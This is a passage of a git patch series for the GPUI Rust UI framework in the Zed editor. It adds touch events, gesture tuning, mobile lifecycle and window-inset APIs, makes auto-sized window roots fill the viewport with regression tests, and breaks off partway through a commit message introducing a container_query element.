+/// basis, depending on each platform's support, defaulting to GPUI's own
+/// (iOS flavored) values
+#[derive(Clone, Copy, Debug, PartialEq)]
+pub struct GestureTuning {
+    /// Distance a touch may travel before it stops being a potential tap and
+    /// becomes a pan/drag.
+    pub touch_slop: Pixels,
+    /// Maximum interval between taps for them to accumulate a tap count.
+    pub multi_tap_interval: Duration,
+    /// Maximum distance between taps for them to accumulate a tap count.
+    pub multi_tap_slop: Pixels,
+    /// How long a touch must remain within [`Self::touch_slop`] to be
+    /// recognized as a long press.
+    pub long_press_duration: Duration,
+    /// Per-millisecond decay factor applied to scroll momentum after a fling.
+    /// (`UIScrollView` uses `0.998` per millisecond for its normal
+    /// deceleration rate.)
+    pub momentum_decay_per_ms: f32,
+    /// Minimum release velocity, in pixels per second, required to start
+    /// scroll momentum.
+    pub min_fling_velocity: f32,
+}
+
+impl Default for GestureTuning {
+    fn default() -> Self {
+        Self {
+            touch_slop: px(8.),
+            multi_tap_interval: Duration::from_millis(400),
+            multi_tap_slop: px(16.),
+            long_press_duration: Duration::from_millis(500),
+            momentum_decay_per_ms: 0.998,
+            min_fling_velocity: 50.,
+        }
+    }
+}
+
+/// The set of gesture kinds that participate in recognition.
+///
+/// Used by [`PlatformGestures::native_recognizers`] to declare which gestures
+/// the platform recognizes natively rather than leaving to gpui core's
+/// portable recognizers.
+#[derive(Clone, Copy, Debug, Default, PartialEq, Eq)]
+pub struct GestureKinds {
+    /// Tap (and multi-tap), surfaced as [`ClickEvent::Touch`](crate::ClickEvent).
+    pub tap: bool,
+    /// Long press, surfaced as [`LongPressEvent`].
+    pub long_press: bool,
+    /// Pan/scroll (including fling momentum), surfaced as
+    /// [`ScrollWheelEvent`](crate::ScrollWheelEvent)s.
+    pub pan: bool,
+    /// Pinch to zoom, surfaced as [`PinchEvent`](crate::PinchEvent)s.
+    pub pinch: bool,
+}
+
+impl GestureKinds {
+    /// No gestures; gpui core's portable recognizers handle everything.
+    pub const NONE: Self = Self {
+        tap: false,
+        long_press: false,
+        pan: false,
+        pinch: false,
+    };
+
+    /// All gesture kinds.
+    pub const ALL: Self = Self {
+        tap: true,
+        long_press: true,
+        pan: true,
+        pinch: true,
+    };
+}
+
+/// A long-press gesture, mobile's context-menu trigger.
+///
+/// A bare long press is surfaced as a [`ClickEvent`](crate::ClickEvent) with
+/// `long_press: true`, delivered to aux-click listeners alongside right
+/// clicks. This event is the raw hook for elements that need the gesture
+/// itself (e.g. long-press to start a drag); the registration API ships
+/// together with the gesture arena.
+#[derive(Clone, Debug, Default)]
+pub struct LongPressEvent {
+    /// The position of the touch that was recognized as a long press.
+    pub position: Point<Pixels>,
+}
+
+/// Platform gesture recognition services.
+///
+/// If your mobile platform supports native gesture recognition, use this
+/// to share it with GPUI.
+pub trait PlatformGestures {
+    /// Feel constants for the portable recognizers on this platform.
+    fn tuning(&self) -> GestureTuning {
+        GestureTuning::default()
+    }
+
+    /// The gesture kinds this platform recognizes natively.
+    fn native_recognizers(&self) -> GestureKinds {
+        GestureKinds::NONE
+    }
+}
+
+/// A no-op [`PlatformGestures`] implementation: no native recognizers and
+/// default tuning. Suitable for desktop platforms and tests.
+pub struct NullPlatformGestures;
+
+impl PlatformGestures for NullPlatformGestures {}
diff --git a/crates/gpui/src/gpui.rs b/crates/gpui/src/gpui.rs
index a81ff265c3edd8..4b1679cbe440fa 100644
--- a/crates/gpui/src/gpui.rs
+++ b/crates/gpui/src/gpui.rs
@@ -24,6 +24,7 @@ mod executor;
 mod platform_scheduler;
 pub(crate) use platform_scheduler::PlatformScheduler;
 mod geometry;
+mod gestures;
 mod global;
 mod input;
 mod inspector;
@@ -98,6 +99,7 @@ pub use element::*;
 pub use elements::*;
 pub use executor::*;
 pub use geometry::*;
+pub use gestures::*;
 pub use global::*;
 pub use gpui_macros::{
     AppContext, IntoElement, Render, VisualContext, bench, property_test, register_action, test,
diff --git a/crates/gpui/src/input.rs b/crates/gpui/src/input.rs
index 10ca46501d8a82..4e204e97880c85 100644
--- a/crates/gpui/src/input.rs
+++ b/crates/gpui/src/input.rs
@@ -71,6 +71,24 @@ pub trait EntityInputHandler: 'static + Sized {
         cx: &mut Context<Self>,
     ) -> Option<usize>;
 
+    /// See [`InputHandler::set_selected_text_range`] for details
+    fn set_selected_text_range(
+        &mut self,
+        _range_utf16: Range<usize>,
+        _window: &mut Window,
+        _cx: &mut Context<Self>,
+    ) {
+    }
+
+    /// See [`InputHandler::text_length_utf16`] for details
+    fn text_length_utf16(
+        &mut self,
+        _window: &mut Window,
+        _cx: &mut Context<Self>,
+    ) -> Option<usize> {
+        None
+    }
+
     /// See [`InputHandler::accepts_text_input`] for details
     fn accepts_text_input(&self, _window: &mut Window, _cx: &mut Context<Self>) -> bool {
         true
@@ -183,6 +201,26 @@ impl<V: EntityInputHandler> InputHandler for ElementInputHandler<V> {
         })
     }
 
+    fn set_selected_text_range(
+        &mut self,
+        range_utf16: Range<usize>,
+        window: &mut Window,
+        cx: &mut App,
+    ) {
+        self.view.update(cx, |view, cx| {
+            view.set_selected_text_range(range_utf16, window, cx)
+        })
+    }
+
+    fn element_bounds(&mut self, _window: &mut Window, _cx: &mut App) -> Option<Bounds<Pixels>> {
+        Some(self.element_bounds)
+    }
+
+    fn text_length_utf16(&mut self, window: &mut Window, cx: &mut App) -> Option<usize> {
+        self.view
+            .update(cx, |view, cx| view.text_length_utf16(window, cx))
+    }
+
     fn accepts_text_input(&mut self, window: &mut Window, cx: &mut App) -> bool {
         self.view
             .update(cx, |view, cx| view.accepts_text_input(window, cx))
diff --git a/crates/gpui/src/interactive.rs b/crates/gpui/src/interactive.rs
index 0c7f2f9c97c59f..1feee49edb0057 100644
--- a/crates/gpui/src/interactive.rs
+++ b/crates/gpui/src/interactive.rs
@@ -84,7 +84,7 @@ impl Deref for ModifiersChangedEvent {
 
 /// The phase of a touch motion event.
 /// Based on the winit enum of the same name.
-#[derive(Clone, Copy, Debug, Default)]
+#[derive(Clone, Copy, Debug, Default, PartialEq, Eq)]
 pub enum TouchPhase {
     /// The touch started.
     Started,
@@ -93,6 +93,45 @@ pub enum TouchPhase {
     Moved,
     /// The touch phase has ended
     Ended,
+    /// The touch was cancelled: the system took it and it will not end
+    /// normally. Consumers must fully unwind any in-progress interaction,
+    /// treating the touch as if it never committed.
+    Cancelled,
+}
+
+/// Identifies one touch (finger or stylus contact) for its lifetime, from
+/// [`TouchPhase::Started`] through [`TouchPhase::Ended`] or
+/// [`TouchPhase::Cancelled`].
+///
+/// The value is opaque and platform-defined; it is only guaranteed to be
+/// stable for the duration of the touch and unique among concurrent touches.
+#[derive(Clone, Copy, Debug, Default, PartialEq, Eq, Hash, PartialOrd, Ord)]
+pub struct TouchId(pub u64);
+
+/// A raw touch event from the platform.
+///
+///
+/// Dispatch contract (core implementation pending): a touch is hit-tested
+/// once, at [`TouchPhase::Started`], occlusion-aware; all subsequent events
+/// for the same [`TouchId`] are delivered to the elements under the starting
+/// position, even after the touch moves outside them.
+#[derive(Clone, Debug, Default)]
+pub struct TouchEvent {
+    /// Which touch this event belongs to.
+    pub id: TouchId,
+    /// The phase of the touch.
+    pub phase: TouchPhase,
+    /// The position of the touch in window coordinates.
+    pub position: Point<Pixels>,
+    /// Normalized touch force in `0.0..=1.0`, if the hardware reports it.
+    pub force: Option<f32>,
+}
+
+impl Sealed for TouchEvent {}
+impl InputEvent for TouchEvent {
+    fn to_platform_input(self) -> PlatformInput {
+        PlatformInput::Touch(self)
+    }
 }
 
 /// A mouse down event from the platform
@@ -221,13 +260,31 @@ pub struct KeyboardClickEvent {
     pub bounds: Bounds<Pixels>,
 }
 
-/// A click event, generated when a mouse button or keyboard button is pressed and released.
+/// A click event that was generated by a recognized tap gesture on a touch
+/// screen.
+#[derive(Clone, Debug, Default)]
+pub struct TouchClickEvent {
+    /// The position of the tap in window coordinates.
+    pub position: Point<Pixels>,
+    /// The number of consecutive taps at this location (double tap = 2),
+    /// analogous to the mouse `click_count`.
+    pub tap_count: usize,
+    /// Whether this was a long press rather than a tap. Long presses are
+    /// touch's secondary activation: they are delivered to aux-click
+    /// listeners alongside right clicks, not to primary click listeners.
+    pub long_press: bool,
+}
+
+/// A click event, generated when a mouse button or keyboard button is pressed and released,
+/// or when a tap gesture is recognized on a touch screen.
 #[derive(Clone, Debug)]
 pub enum ClickEvent {
     /// A click event trigger by a mouse button being pressed and released.
     Mouse(MouseClickEvent),
     /// A click event trigger by a keyboard button being pressed and released.
     Keyboard(KeyboardClickEvent),
+    /// A click event triggered by a recognized tap gesture on a touch screen.
+    Touch(TouchClickEvent),
 }
 
 impl Default for ClickEvent {
@@ -249,6 +306,8 @@ impl ClickEvent {
             // tested via observing the behavior of the `ClickEvent.shiftKey` field in Chrome 138
             // under various combinations of modifiers and keyUp / keyDown events.
             ClickEvent::Mouse(event) => event.up.modifiers,
+            // Touch screens have no modifier keys.
+            ClickEvent::Touch(_) => Modifiers::default(),
         }
     }
 
@@ -256,10 +315,12 @@ impl ClickEvent {
     ///
     /// `Keyboard`: The bottom left corner of the clicked hitbox
     /// `Mouse`: The position of the mouse when the button was released.
+    /// `Touch`: The position of the tap.
     pub fn position(&self) -> Point<Pixels> {
         match self {
             ClickEvent::Keyboard(event) => event.bounds.bottom_left(),
             ClickEvent::Mouse(event) => event.up.position,
+            ClickEvent::Touch(event) => event.position,
         }
     }
 
@@ -267,10 +328,12 @@ impl ClickEvent {
     ///
     /// `Keyboard`: None
     /// `Mouse`: The position of the mouse when the button was released.
+    /// `Touch`: None, touches are not mouse input and there is no cursor.
     pub fn mouse_position(&self) -> Option<Point<Pixels>> {
         match self {
             ClickEvent::Keyboard(_) => None,
             ClickEvent::Mouse(event) => Some(event.up.position),
+            ClickEvent::Touch(_) => None,
         }
     }
 
@@ -284,6 +347,7 @@ impl ClickEvent {
             ClickEvent::Mouse(event) => {
                 event.down.button == MouseButton::Right && event.up.button == MouseButton::Right
             }
+            ClickEvent::Touch(_) => false,
         }
     }
 
@@ -297,6 +361,21 @@ impl ClickEvent {
             ClickEvent::Mouse(event) => {
                 event.down.button == MouseButton::Middle && event.up.button == MouseButton::Middle
             }
+            ClickEvent::Touch(_) => false,
+        }
+    }
+
+    /// Returns whether the click is a secondary activation, i.e. a context
+    /// menu trigger: a right click from a mouse (macOS ctrl-clicks arrive
+    /// already converted to right clicks by the platform layer), or a long
+    /// press on a touch screen.
+    pub fn is_secondary(&self) -> bool {
+        match self {
+            ClickEvent::Keyboard(_) => false,
+            ClickEvent::Mouse(event) => {
+                event.down.button == MouseButton::Right && event.up.button == MouseButton::Right
+            }
+            ClickEvent::Touch(event) => event.long_press,
         }
     }
 
@@ -304,12 +383,14 @@ impl ClickEvent {
     ///
     /// `Keyboard`: Always true
     /// `Mouse`: Left button pressed and released
+    /// `Touch`: A tap, but not a long press
     pub fn standard_click(&self) -> bool {
         match self {
             ClickEvent::Keyboard(_) => true,
             ClickEvent::Mouse(event) => {
                 event.down.button == MouseButton::Left && event.up.button == MouseButton::Left
             }
+            ClickEvent::Touch(event) => !event.long_press,
         }
     }
 
@@ -317,10 +398,12 @@ impl ClickEvent {
     ///
     /// `Keyboard`: false, keyboard clicks only work if an element is already focused
     /// `Mouse`: Whether this was the first focusing click
+    /// `Touch`: false, mobile windows are already active when tappable
     pub fn first_focus(&self) -> bool {
         match self {
             ClickEvent::Keyboard(_) => false,
             ClickEvent::Mouse(event) => event.down.first_mouse,
+            ClickEvent::Touch(_) => false,
         }
     }
 
@@ -328,17 +411,19 @@ impl ClickEvent {
     ///
     /// `Keyboard`: Always 1
     /// `Mouse`: Count of clicks from MouseUpEvent
+    /// `Touch`: Count of consecutive taps
     pub fn click_count(&self) -> usize {
         match self {
             ClickEvent::Keyboard(_) => 1,
             ClickEvent::Mouse(event) => event.up.click_count,
+            ClickEvent::Touch(event) => event.tap_count,
         }
     }
 
     /// Returns whether the click event is generated by a keyboard event
     pub fn is_keyboard(&self) -> bool {
         match self {
-            ClickEvent::Mouse(_) => false,
+            ClickEvent::Mouse(_) | ClickEvent::Touch(_) => false,
             ClickEvent::Keyboard(_) => true,
         }
     }
@@ -670,6 +755,8 @@ pub enum PlatformInput {
     Pinch(PinchEvent),
     /// Files were dragged and dropped onto the window.
     FileDrop(FileDropEvent),
+    /// A raw touch event on a touch screen.
+    Touch(TouchEvent),
 }
 
 impl PlatformInput {
@@ -686,6 +773,7 @@ impl PlatformInput {
             PlatformInput::ScrollWheel(event) => Some(event),
             PlatformInput::Pinch(event) => Some(event),
             PlatformInput::FileDrop(event) => Some(event),
+            PlatformInput::Touch(_) => None,
         }
     }
 
@@ -702,6 +790,15 @@ impl PlatformInput {
             PlatformInput::ScrollWheel(_) => None,
             PlatformInput::Pinch(_) => None,
             PlatformInput::FileDrop(_) => None,
+            PlatformInput::Touch(_) => None,
+        }
+    }
+
+    /// Returns the touch event contained in this input, if any.
+    pub fn touch_event(&self) -> Option<&TouchEvent> {
+        match self {
+            PlatformInput::Touch(event) => Some(event),
+            _ => None,
         }
     }
 }
diff --git a/crates/gpui/src/platform.rs b/crates/gpui/src/platform.rs
index 2a37d0b19b2e2c..52b2f0066a1ecc 100644
--- a/crates/gpui/src/platform.rs
+++ b/crates/gpui/src/platform.rs
@@ -36,11 +36,11 @@ pub(crate) type PlatformScreenCaptureFrame = core_video::image_buffer::CVImageBu
 
 use crate::{
     Action, AnyWindowHandle, App, AsyncWindowContext, BackgroundExecutor, Bounds,
-    DEFAULT_WINDOW_SIZE, DevicePixels, DispatchEventResult, Font, FontId, FontMetrics, FontRun,
-    ForegroundExecutor, GlyphId, GpuSpecs, Hsla, ImageSource, Keymap, LineLayout, Pixels,
-    PlatformInput, Point, Priority, RenderGlyphParams, RenderImage, RenderImageParams,
-    RenderSvgParams, Scene, ShapedGlyph, ShapedRun, SharedString, Size, SvgRenderer,
-    SystemWindowTab, Task, Window, WindowControlArea, hash, point, px, size,
+    DEFAULT_WINDOW_SIZE, DevicePixels, DispatchEventResult, Edges, Font, FontId, FontMetrics,
+    FontRun, ForegroundExecutor, GlyphId, GpuSpecs, Hsla, ImageSource, Keymap, LineLayout, Pixels,
+    PlatformGestures, PlatformInput, Point, Priority, RenderGlyphParams, RenderImage,
+    RenderImageParams, RenderSvgParams, Scene, ShapedGlyph, ShapedRun, SharedString, Size,
+    SvgRenderer, SystemWindowTab, Task, Window, WindowControlArea, hash, point, px, size,
 };
 use anyhow::Result;
 #[cfg(any(target_os = "linux", target_os = "freebsd"))]
@@ -193,6 +193,30 @@ pub trait Platform: 'static {
     fn on_reopen(&self, callback: Box<dyn FnMut()>);
     fn on_system_wake(&self, callback: Box<dyn FnMut()>);
 
+    // Mobile platform methods. On mobile the OS owns the application
+    // lifecycle: apps are backgrounded, foregrounded, and killed at the
+    // system's discretion, and must react rather than decide.
+
+    /// Registers a callback invoked whenever the application's lifecycle
+    /// phase changes. See [`AppLifecyclePhase`] for the phase vocabulary and
+    /// its mapping onto iOS and Android.
+    ///
+    /// Desktop platforms never invoke this.
+    fn on_app_lifecycle(&self, _callback: Box<dyn FnMut(AppLifecyclePhase)>) {}
+
+    /// Registers a callback invoked when the OS signals memory pressure
+    /// (iOS `didReceiveMemoryWarning`, Android `onTrimMemory`).
+    ///
+    /// Desktop platforms never invoke this.
+    fn on_memory_warning(&self, _callback: Box<dyn FnMut()>) {}
+
+    /// The platform's gesture recognition services, if it provides any
+    /// beyond gpui's portable recognizers. See
+    /// [`PlatformGestures`](crate::PlatformGestures).
+    fn gestures(&self) -> Option<Rc<dyn PlatformGestures>> {
+        None
+    }
+
     fn set_menus(&self, menus: Vec<Menu>, keymap: &Keymap);
     fn get_menus(&self) -> Option<Vec<OwnedMenu>> {
         None
@@ -620,6 +644,75 @@ pub struct RequestFrameOptions {
     pub force_render: bool,
 }
 
+/// The application's lifecycle phase, as owned and reported by a mobile OS.
+///
+/// `Inactive` means visible but not receiving input (a system dialog on
+/// top), while `Background` means not visible at all, with process death
+/// possible at any time thereafter.
+///
+/// | Phase        | iOS                          | Android      |
+/// |--------------|------------------------------|--------------|
+/// | `Active`     | `didBecomeActive`            | `onResume`   |
+/// | `Inactive`   | `willResignActive`           | `onPause`    |
+/// | `Background` | `didEnterBackground`         | `onStop`     |
+/// | `Foreground` | `willEnterForeground`        | `onStart`    |
+#[derive(Debug, Copy, Clone, Eq, PartialEq, Hash)]
+pub enum AppLifecyclePhase {
+    /// Foreground and receiving input.
+    Active,
+    /// Foreground (visible) but not receiving input.
+    Inactive,
+    /// Not visible. The GPU surface may be destroyed while backgrounded and
+    /// the process may be killed without further notice.
+    Background,
+    /// Becoming visible again, before input is restored.
+    Foreground,
+}
+
+/// Regions of a window that are obscured or reserved by the system.
+///
+/// Mobile applications often share space in their window with system-specific
+/// geometry, from keyboards to camera notches. In GPUI, all this is abstracted
+/// into a single "inset" which should be overlaid on the window's bounds.
+/// It is up to the application develop to determine how to handle these cases.
+#[derive(Debug, Clone, Default, PartialEq)]
+pub struct WindowInsets {
+    /// Regions covered by system UI or hardware: status bar, display
+    /// cutouts/notch, home indicator, navigation bars.
+    /// (iOS: `safeAreaInsets`. Android: `WindowInsets` of types
+    /// `systemBars() | displayCutout()`.)
+    pub safe_area: Edges<Pixels>,
+    /// The region covered by the keyboard, when present.
+    /// (iOS: derived from `keyboardWillShow`/frame-change notifications.
+    /// Android: `WindowInsets.Type.ime()`.)
+    pub ime: Edges<Pixels>,
+}
+
+impl WindowInsets {
+    /// The combined inset content should avoid.
+    pub fn effective(&self) -> Edges<Pixels> {
+        Edges {
+            top: self.safe_area.top.max(self.ime.top),
+            right: self.safe_area.right.max(self.ime.right),
+            bottom: self.safe_area.bottom.max(self.ime.bottom),
+            left: self.safe_area.left.max(self.ime.left),
+        }
+    }
+}
+
+/// A change in the state of the focused text input.
+#[derive(Debug, Copy, Clone, Eq, PartialEq, Hash)]
+pub enum TextInputStateChange {
+    /// An editable element gained focus.
+    FocusGained,
+    /// The focused editable element lost focus.
+    FocusLost,
+    /// The selection or caret moved
+    SelectionChanged,
+    /// The document content changed outside of platform-initiated edits.
+    ContentChanged,
+}
+
 #[expect(missing_docs)]
 pub trait PlatformWindow: HasWindowHandle + HasDisplayHandle {
     fn bounds(&self) -> Bounds<Pixels>;
@@ -721,6 +814,38 @@ pub trait PlatformWindow: HasWindowHandle + HasDisplayHandle {
 
     fn update_ime_position(&self, _bounds: Bounds<Pixels>);
 
+    // Mobile platform methods.
+
+    /// The regions of this window currently obscured or reserved by the
+    /// system. Zero on platforms without such regions.
+    fn insets(&self) -> WindowInsets {
+        WindowInsets::default()
+    }
+
+    /// Registers a callback invoked whenever [`Self::insets`] change.
+    ///
+    /// Contract: fires continuously during animated transitions (Android
+    /// `WindowInsetsAnimation` progress; on iOS the platform interpolates
+    /// the keyboard animation curve on frame ticks) and is exact at rest.
+    fn on_insets_changed(&self, _callback: Box<dyn FnMut(WindowInsets)>) {}
+
+    /// Sets the handler for the system back action (Android back
+    /// button/gesture; no source on iOS or desktop).
+    fn set_back_handler(&self, _callback: Box<dyn FnMut()>) {}
+
+    /// Declares whether the application would currently handle the system
+    /// back action (e.g. navigation depth > 0).
+    fn set_back_enabled(&self, _enabled: bool) {}
+
+    /// Requests that the soft keyboard be shown.
+    fn show_soft_keyboard(&self) {}
+
+    /// Requests that the soft keyboard be hidden.
+    fn hide_soft_keyboard(&self) {}
+
+    /// Inform the operating system that the text input state has changed
+    fn text_input_state_changed(&self, _change: TextInputStateChange) {}
+
     fn play_system_bell(&self) {}
 
     /// Initialize the accessibility adapter with callbacks.
@@ -1334,6 +1459,32 @@ impl PlatformInputHandler {
             .flatten()
     }
 
+    /// See [`InputHandler::set_selected_text_range`].
+    pub fn set_selected_text_range(&mut self, range_utf16: Range<usize>) {
+        self.cx
+            .update(|window, cx| {
+                self.handler
+                    .set_selected_text_range(range_utf16, window, cx)
+            })
+            .ok();
+    }
+
+    /// See [`InputHandler::element_bounds`].
+    pub fn element_bounds(&mut self) -> Option<Bounds<Pixels>> {
+        self.cx
+            .update(|window, cx| self.handler.element_bounds(window, cx))
+            .ok()
+            .flatten()
+    }
+
+    /// See [`InputHandler::text_length_utf16`].
+    pub fn text_length_utf16(&mut self) -> Option<usize> {
+        self.cx
+            .update(|window, cx| self.handler.text_length_utf16(window, cx))
+            .ok()
+            .flatten()
+    }
+
     #[allow(dead_code)]
     pub fn accepts_text_input(&mut self, window: &mut Window, cx: &mut App) -> bool {
         self.handler.accepts_text_input(window, cx)
@@ -1452,6 +1603,38 @@ pub trait InputHandler: 'static {
         cx: &mut App,
     ) -> Option<usize>;
 
+    /// Set the range of the user's currently selected text.
+    ///
+    /// This is the reverse data-flow direction from [`Self::selected_text_range`]:
+    /// platforms call it when the system text machinery moves the selection on the
+    /// application's behalf — e.g. the user drags a system selection handle or
+    /// invokes Select All from system UI (iOS `UITextInput setSelectedTextRange:`,
+    /// Android `InputConnection.setSelection`).
+    ///
+    /// range_utf16 is in terms of UTF-16 characters, from 0 to the length of the document
+    fn set_selected_text_range(
+        &mut self,
+        _range_utf16: Range<usize>,
+        _window: &mut Window,
+        _cx: &mut App,
+    ) {
+    }
+
+    /// Get the bounds of the focused text element in window coordinates, if known.
+    ///
+    /// This is the pull counterpart to the [`PlatformWindow::update_ime_position`]
+    /// push: mobile platforms ask for the focused element's geometry when they
+    /// need it (e.g. to frame system text-interaction UI overlaid on the focused
+    /// element).
+    fn element_bounds(&mut self, _window: &mut Window, _cx: &mut App) -> Option<Bounds<Pixels>> {
+        None
+    }
+
+    /// Get the length of the document in UTF-16 characters, if known.
+    fn text_length_utf16(&mut self, _window: &mut Window, _cx: &mut App) -> Option<usize> {
+        None
+    }
+
     /// Allows a given input context to opt into getting raw key repeats instead of
     /// sending these to the platform.
     /// TODO: Ideally we should be able to set ApplePressAndHoldEnabled in NSUserDefaults
diff --git a/crates/gpui/src/window.rs b/crates/gpui/src/window.rs
index 7059cf863a60ff..11a3fb4d9ad83d 100644
--- a/crates/gpui/src/window.rs
+++ b/crates/gpui/src/window.rs
@@ -982,6 +982,7 @@ impl Frame {
 enum InputModality {
     Mouse,
     Keyboard,
+    Touch,
 }
 
 /// Holds the state for a specific window.
@@ -4541,6 +4542,7 @@ impl Window {
         self.last_input_modality = match &event {
             PlatformInput::KeyDown(_) => InputModality::Keyboard,
             PlatformInput::MouseMove(_) | PlatformInput::MouseDown(_) => InputModality::Mouse,
+            PlatformInput::Touch(_) => InputModality::Touch,
             _ => self.last_input_modality,
         };
         if self.last_input_modality != old_modality {
@@ -4634,6 +4636,7 @@ impl Window {
                     PlatformInput::FileDrop(FileDropEvent::Exited)
                 }
             },
+            PlatformInput::Touch(touch) => PlatformInput::Touch(touch),
             PlatformInput::KeyDown(_) | PlatformInput::KeyUp(_) => event,
         };
 
diff --git a/crates/terminal/src/terminal.rs b/crates/terminal/src/terminal.rs
index 8d0521d3975233..a1e1c1c937e658 100644
--- a/crates/terminal/src/terminal.rs
+++ b/crates/terminal/src/terminal.rs
@@ -2675,7 +2675,8 @@ impl Terminal {
 
                 Some(new_offset - old_offset)
             }
-            TouchPhase::Ended => None,
+            // Cancellation does not commit a scroll, same as a plain end.
+            TouchPhase::Ended | TouchPhase::Cancelled => None,
         }
     }
 

From b0da438545633412d6792796b3d92337ea44146d Mon Sep 17 00:00:00 2001
From: Mikayla Maki <mikayla@zed.dev>
Date: Sat, 11 Jul 2026 16:02:10 -0700
Subject: [PATCH 394/772] gpui: Fill auto-sized window roots to the viewport
 (#60739)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Window roots whose size is `auto` now stretch to fill the window, the
way the root element on the web fills the initial containing block.
Previously a window root with no explicit size shrink-wrapped its
content (flex/grid roots collapsed to content size in both axes), which
is why every root view needed `size_full()`.

Mechanically: `draw_roots` requests layout for the window root (and
prompt roots), then `TaffyLayoutEngine::stretch_auto_size_to_fill`
rewrites any `auto` dimension on the root node to the viewport size
before layout runs. Explicitly styled root dimensions are preserved, and
tooltips, drags, and anchored/deferred draws keep their shrink-wrap
semantics.

Includes regression tests covering both the auto-fill and explicit-size
cases (the auto case collapses to 0×0 without the fix).

Release Notes:

- N/A

---------

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
---
 crates/gpui/src/taffy.rs  | 30 +++++++++++++
 crates/gpui/src/window.rs | 89 ++++++++++++++++++++++++++++++++++++++-
 2 files changed, 118 insertions(+), 1 deletion(-)

diff --git a/crates/gpui/src/taffy.rs b/crates/gpui/src/taffy.rs
index 4844748d6c767d..eb3c391dc5e2b4 100644
--- a/crates/gpui/src/taffy.rs
+++ b/crates/gpui/src/taffy.rs
@@ -111,6 +111,36 @@ impl TaffyLayoutEngine {
             .into()
     }
 
+    /// Treats any `auto` dimension of the given node's style as filling `size`.
+    ///
+    /// This is applied to window roots before layout so they behave like the
+    /// root element on the web, which stretches to fill the initial containing
+    /// block (the viewport) unless given an explicit size. Explicitly styled
+    /// dimensions are preserved.
+    pub fn stretch_auto_size_to_fill(
+        &mut self,
+        id: LayoutId,
+        size: Size<Pixels>,
+        scale_factor: f32,
+    ) {
+        let style = self.taffy.style(id.0).expect(EXPECT_MESSAGE);
+        let stretch_width = style.size.width.is_auto();
+        let stretch_height = style.size.height.is_auto();
+        if !stretch_width && !stretch_height {
+            return;
+        }
+        let mut style = style.clone();
+        if stretch_width {
+            style.size.width =
+                taffy::style::Dimension::length(round_to_device_pixel(size.width.0, scale_factor));
+        }
+        if stretch_height {
+            style.size.height =
+                taffy::style::Dimension::length(round_to_device_pixel(size.height.0, scale_factor));
+        }
+        self.taffy.set_style(id.0, style).expect(EXPECT_MESSAGE);
+    }
+
     // Used to understand performance
     #[allow(dead_code)]
     fn count_all_children(&self, parent: LayoutId) -> anyhow::Result<u32> {
diff --git a/crates/gpui/src/window.rs b/crates/gpui/src/window.rs
index 11a3fb4d9ad83d..35269a09c84931 100644
--- a/crates/gpui/src/window.rs
+++ b/crates/gpui/src/window.rs
@@ -2824,8 +2824,16 @@ impl Window {
             }
         };
 
-        // Layout all root elements.
+        // Layout all root elements. Like the root element on the web, which
+        // stretches to fill the viewport unless explicitly sized, window roots
+        // fill the window when their size is `auto`.
+        let scale_factor = self.scale_factor();
         let mut root_element = self.root.as_ref().unwrap().clone().into_any_element();
+        let root_layout_id = root_element.request_layout(self, cx);
+        self.layout_engine
+            .as_mut()
+            .unwrap()
+            .stretch_auto_size_to_fill(root_layout_id, root_size, scale_factor);
         root_element.prepaint_as_root(Point::default(), root_size.into(), self, cx);
 
         #[cfg(any(feature = "inspector", debug_assertions))]
@@ -2838,6 +2846,11 @@ impl Window {
         let mut tooltip_element = None;
         if let Some(prompt) = self.prompt.take() {
             let mut element = prompt.view.any_view().into_any_element();
+            let prompt_layout_id = element.request_layout(self, cx);
+            self.layout_engine
+                .as_mut()
+                .unwrap()
+                .stretch_auto_size_to_fill(prompt_layout_id, root_size, scale_factor);
             element.prepaint_as_root(Point::default(), root_size.into(), self, cx);
             prompt_element = Some(element);
             self.prompt = Some(prompt);
@@ -6315,3 +6328,77 @@ pub fn outline(
         border_style,
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use crate::{
+        AppContext as _, Bounds, Context, IntoElement, ParentElement as _, Pixels, Render,
+        Styled as _, TestAppContext, Window, canvas, div, px, size,
+    };
+    use std::{cell::Cell, rc::Rc};
+
+    struct RootView {
+        explicit_size: bool,
+        child_bounds: Rc<Cell<Bounds<Pixels>>>,
+    }
+
+    impl Render for RootView {
+        fn render(&mut self, _: &mut Window, _: &mut Context<Self>) -> impl IntoElement {
+            let child_bounds = self.child_bounds.clone();
+            let root = div().flex().flex_col().child(
+                canvas(
+                    move |bounds, _, _| child_bounds.set(bounds),
+                    |_, _, _, _| {},
+                )
+                .size_full(),
+            );
+            if self.explicit_size {
+                root.w(px(300.)).h(px(200.))
+            } else {
+                root
+            }
+        }
+    }
+
+    #[test]
+    fn auto_sized_window_root_fills_the_window() {
+        let mut cx = TestAppContext::single();
+        let child_bounds = Rc::new(Cell::new(Bounds::default()));
+        let window = cx.add_window({
+            let child_bounds = child_bounds.clone();
+            move |_, _| RootView {
+                explicit_size: false,
+                child_bounds,
+            }
+        });
+
+        let viewport_size = cx
+            .update_window(window.into(), |_, window, cx| {
+                window.draw(cx).clear();
+                window.viewport_size()
+            })
+            .unwrap();
+
+        assert_eq!(child_bounds.get().size, viewport_size);
+    }
+
+    #[test]
+    fn explicitly_sized_window_root_keeps_its_size() {
+        let mut cx = TestAppContext::single();
+        let child_bounds = Rc::new(Cell::new(Bounds::default()));
+        let window = cx.add_window({
+            let child_bounds = child_bounds.clone();
+            move |_, _| RootView {
+                explicit_size: true,
+                child_bounds,
+            }
+        });
+
+        cx.update_window(window.into(), |_, window, cx| {
+            window.draw(cx).clear();
+        })
+        .unwrap();
+
+        assert_eq!(child_bounds.get().size, size(px(300.), px(200.)));
+    }
+}

From 49ad06c1b4047b018b1622e1cf94cafcacd39247 Mon Sep 17 00:00:00 2001
From: Mikayla Maki <mikayla@zed.dev>
Date: Sat, 11 Jul 2026 20:38:24 -0700
Subject: [PATCH 395/772] gpui: Add container_query element (#60774)

Adds a `container_query` element to GPUI, in the spirit of CSS container
queries: the element's own size is determined solely by its style and
the space offered by its parent, and once that size is known the
provided closure is called with the measured size to build the contents.

```rust
container_query(|size, _window, _cx| {
    if size.width < px(240.) {
        div().child("Narrow layout")
    } else {
        div().child("Wide layout")
    }
});
```

Implementation notes:

- Defaults to filling its parent (`size_full()` semantics), overridable
via `Styled` since contents can't influence the container's size (the
same constraint CSS container queries impose).
- Reworks the `grid_layout` example (the Holy Grail layout) to
